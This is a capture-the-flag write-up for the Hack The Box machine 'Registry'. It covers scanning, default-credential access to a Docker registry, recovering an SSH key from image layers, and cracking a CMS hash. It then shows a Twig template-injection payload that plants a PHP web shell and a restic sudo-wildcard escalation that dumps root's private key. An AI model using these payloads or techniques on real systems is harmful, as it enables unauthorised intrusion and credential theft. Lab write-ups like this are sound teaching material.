HTB Writeup: Registry
Make sure your backups are in safe hands
Enumeration
nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-02 16:27 IST
Nmap scan report for 10.129.187.31 (10.129.187.31)
Host is up (0.081s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
| 256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_ 256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.14.0 (Ubuntu)
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=docker.registry.htb
| Not valid before: 2019-05-06T21:14:35
|_Not valid after: 2029-05-03T21:14:35
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.22 seconds
-
Web servers are listening on port
TCP/80andTCP/443. -
The CN from the certificate at
TCP/443says:docker.registry.htb -
It’s a blank page on visiting the website.

-
Directory fuzzing is done using
ffufand the wordlistSeclists/Discovery/Web-Content/common.txt./v2/is found to be a valid directory.ffuf -u 'https://docker.registry.htb/FUZZ/' -w /usr/share/Seclists/Discovery/Web-Content/common.txt # render/https://www.google.com [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 79ms] # v2 [Status: 301, Size: 39, Words: 3, Lines: 3, Duration: 79ms] # :: Progress: [4712/4712] :: Job [1/1] :: 502 req/sec :: Duration: [0:00:10] :: Errors: 0 :: -
The website on
https://docker.registry.htb/v2/asks for authentication. On basic testing, credentials are found to beadmin:admin
-
The response is in JSON format. The application uses authentication via
Authenticationheader using Basic Authentication which is in the formatAuthorization: Basic base64(username:password) -
Also, the response headers also contain,
Docker-Distribution-Api-Versionheader, which indicates it’s a docker registry version 2.0.
-
The documentation contains the URL endpoints which are accessible.

User Access
Docker Registry
-
A
GETrequest to/v2/_catalogreturns a list of repositories available. Only one repository namedbolt-imageis available.
-
A
GETrequest to/v2/bolt-image/tags/listreturns all the tags available for the imagebolt-image. Onlylatesttag is available. -
A
GETrequest to/v2/bolt-image/manifests/latestreturns checksums for fs-layer blobs, which can be used to download the fs blobs itself. The registry uses a legacy certificate and hencedockerdaemon gives error while trying to use it to download the image from registry.

-
These can be downloaded using the following bash script. The blobs will be stored in
fsdirectory.#!/bin/bash mkdir fs curl -kso- 'https://docker.registry.htb/v2/bolt-image/manifests/latest' -H "Authorization: Basic $(echo -n 'admin:admin' | base64 -w0)" | jq '.fsLayers[].blobSum' -r > sha256sums.txt for checksum in $(cat sha256sums.txt); do curl -ks "https://docker.registry.htb/v2/bolt-image/blobs/${checksum}" -H 'Authorization: Basic YWRtaW46YWRtaW4=' -o "./fs/$(echo -n0 $checksum | cut -d':' -f2 ).gz" done -
The blobs are Gzip compressed data. The largest is found out to be
2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791.gzof 100MB.
-
Decompressing
2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791.gzgives a POSIX tar archive.
-
The file system is then extracted from the archive.

-
There is an encrypted SSH key present at
root/.ssh/id_rsa
-
The password for the
id_rsafile is found in theroot/.viminfofile.
-
The credentials are
bolt:SSHKey(GkOcz221Ftb3ugog)to connect to host machine.
Privilege Escalation.
Enumeration
-
The remote target seems to be blocking foreign connections. No
wgetorcurlcommand seem to be working on any port to download enumeration scripts. -
Since a SSH connection is available,
scpcan be used to copy the files. -
linpeas.shresults show following:-
A Bolt CMS installation config file at
/var/www/html/bolt/app/config/config.yml -
admincredentials hashes for the same Bolt CMS deployment. -
The Bolt CMS is accessible on
/bolt/on port TCP/80.


-
-
Hash is identified as one of
bcrypt($pass),bcrypt(md5($pass))orbcrypt(sha1($pass)). The hash was cracked usingrockyou.txtandhashcatwith modebcrypt($pass) : 3200
-
admin:strawberryfor admin on Bolt CMS page.
-
The login page for the CMS is located at
<BASE_URL>/bolt/loginby default. Since the base URL ishttp://registry.htb/bolt/on remote target, the CMS login page is found athttp://registry.htb/bolt/bolt/login
Exploitation
-
The website is using the theme
base-2018, and Bolt CMS uses Twig Template engine. To check for injection, the templates in/bolt/bolt/file/edit/themes/base-2018/partials/directory can be modified.
-
To test for injection, a line is added at the end of
_footer.twigwith content{{ 7*7 }}, which should return 49 on home page. It turns out to be injectable.

-
Since the remote target is not allowing remote connections from ssh session, a web shell can be written into
/var/www/html/directory as the last rule in nginx configuration is passing/*.phpfiles tofastcgi_pass unix:/var/run/php/php7.2-fpm.sock;, which is UNIX sock listener for PHP execution.
-
To do so, the following payload can be placed in the
_footer.twigfile:{{ ["echo PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTs/Pgo= | base64 -d > /var/www/html/web_shell.php"] | filter('system') }} // PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTs/Pgo= is base64 encoded <?php passthru($_GET["cmd"]);?> -
After visiting the homepage, the payload is triggered but the web page displays an error.

-
This can be safely ignored, and the web shell is found accessible at
http://registry.htb/web_shell.php?cmd=<COMMAND>
-
The command
sudo -l, shows that the userwww-datacan run following command as super user without password:Matching Defaults entries for www-data on bolt: env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on bolt: (root) NOPASSWD: /usr/bin/restic backup -r rest* -
[Restic](https://restic.net/)is a backup utility that can back up the system on remote Restic server. -
Since the target host doesn’t allow remote connections, a local
[rest-server](https://github.com/restic/rest-server)can be started on the session asbolt, and the wildcard in sudo no password can be exploited by specifying therootdirectory to backup and server to connect onrest:http://localhost:<port>. -
The commands for this exploitation are as follows:
# On SSH Session with user "bolt", in directory /tmp/ mkdir -p /tmp/repository ./rest-server --path /tmp/repository/ --no-auth # --path to specify the path to keep the backup data # --no-auth to disable authentication based backup. # In another SSH Session restic -r rest:http://127.0.0.1:8000/ init # Set a password: password echo -n 'password' > /tmp/password_file

# On web shell sudo /usr/bin/restic backup -r rest:http://127.0.0.1:8000/ --password-file /tmp/password /root
-
To see the files available, snapshot ID is required. For listing snapshots available following command is run:
restic snapshots --password-file /tmp/password_file -r rest:http://127.0.0.1:8000/
-
The
lscommand can list the files available in a snapshot.restic ls --password-file /tmp/password_file -r rest:http://127.0.0.1:8000/ c2b42bde
-
The
dumpcommand can be used to print a file from the above list to stdout. A private key is present in the folder/root/.ssh/,/root/.ssh/id_rsa.restic dump --password-file /tmp/password_file -r rest:http://127.0.0.1:8000/ c2b42bde /root/.ssh/id_rsa
-
This private key can be used to obtain a SSH session as the root user on the remote target.
restic dump --password-file /tmp/password_file -r rest:http://127.0.0.1:8000/ c2b42bde /root/.ssh/id_rsa > id_rsa chmod 0600 ./id_rsa -
A successful SSH session as root is obtained.

The remote host is completely compromised.